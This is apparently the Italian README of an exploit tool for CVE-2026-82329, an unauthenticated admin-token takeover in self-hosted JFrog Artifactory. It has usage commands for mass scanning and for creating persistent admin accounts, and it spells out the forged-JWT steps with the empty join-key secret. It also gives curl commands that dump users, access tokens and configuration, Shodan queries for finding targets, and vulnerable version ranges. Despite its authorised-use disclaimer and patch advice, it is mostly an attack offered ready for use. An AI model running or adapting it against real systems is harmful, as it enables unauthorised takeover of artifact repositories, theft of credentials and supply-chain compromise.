
Exploit per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory self-hosted, che consente il takeover del token admin tramite una join key vuota.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.
CVSS 9.8 · CWE-287 · CISA KEV · sfruttato in natura.
Solo test autorizzati. Non eseguire questo strumento contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta.
Le installazioni self-hosted predefinite si fidano di una join key vuota.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
JFrog cloud-hosted è corretto. Solo self-hosted.
Linea di fix Access: 7.191.14.
# solo stdlib — nessun pip
python3 artifactory.py -h
La verifica TLS è disattivata di default (Artifactory con certificato self-signed è normale).
Nessun flag aggiuntivo.
# singolo host
python3 artifactory.py -u https://artifactory.example.internal:8082
# stampa il token admin coniato
python3 artifactory.py -u https://TARGET:8082 --token
# lista / pipeline (stile httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Solo Pro / Enterprise — persiste un admin locale (distruttivo)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (corretto / nessuna chiave vuota)
[FAIL] https://dead:8082 irraggiungibile
| Tag | Significato |
|---|
--token stampa il valore Bearer. Questo è il takeover — un utente di login è opzionale.
--create-admin spesso restituisce 400 su OSS (PUT /artifactory/api/security/users è Pro).
Il token admin funziona comunque. La persistenza non è richiesta per un finding valido.
Sostituisci TARGET e incolla il token dall'output di --token.
TOKEN='eyJ...' # output di --token
B='https://TARGET:8082'
# versione / edizione
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# directory utenti (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# ogni token di accesso sull'istanza
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# inventario repository
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Altre letture utili admin-only (non scrivere se non autorizzato):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: Platform → login con Access Token, oppure invia
Authorization: Bearer <token> su ogni richiesta.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Password policy 400 ≠ non vulnerabile. Il token ha già aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# porte comuni
8081 8082 8040 8046 443
Lo strumento rimuove /artifactory /ui /webapp da -u e parla con il router Access sulla stessa origine.
--create-admin non è il findingRiporta l'impatto come: token amministratore di piattaforma non autenticato.
La creazione utente è un follow-up, non il problema principale.
Questo repository è un validatore per sistemi che sei autorizzato a testare.
Coniare token, elencare utenti o creare account su infrastrutture di terze parti senza permesso è illegale.
Patch: aggiorna alla build corretta per il tuo branch, imposta una join key reale, ruota i token coniati dopo la divulgazione.
mitsec · @ynsmroztas
| Passo | Richiesta | Risultato |
|---|
| 1 | Forgia join JWT HS256 (iat fresco, skip_node_registration=true) | segreto HMAC noto |
| 2 | POST /access/api/v1/registry/join | 201 token SERVICE scp=admin |
| 3 | POST /access/api/v1/tokens | 200 token admin scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | prova admin-only (unauth = 401) |
| Branch | Vulnerabile ≤ | Corretto |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN | Join key vuota accettata + prova admin (configuration o lista token = 200) |
SAFE | Join rifiutato — corretto, join key aggiuntive impostate, o non Access |
INFO | Join coniato, endpoint di prova non 200 — ispeziona manualmente |
FAIL | Rete / timeout |
| Superficie | OSS | Pro / Enterprise |
|---|
| Conia token di accesso admin | sì | sì |
| Legge config / lista token / repo | sì | sì |
PUT /artifactory/api/security/users | 400 solo-Pro | 200/201 |
POST /access/api/v2/users | dipende da versione / policy | 201 |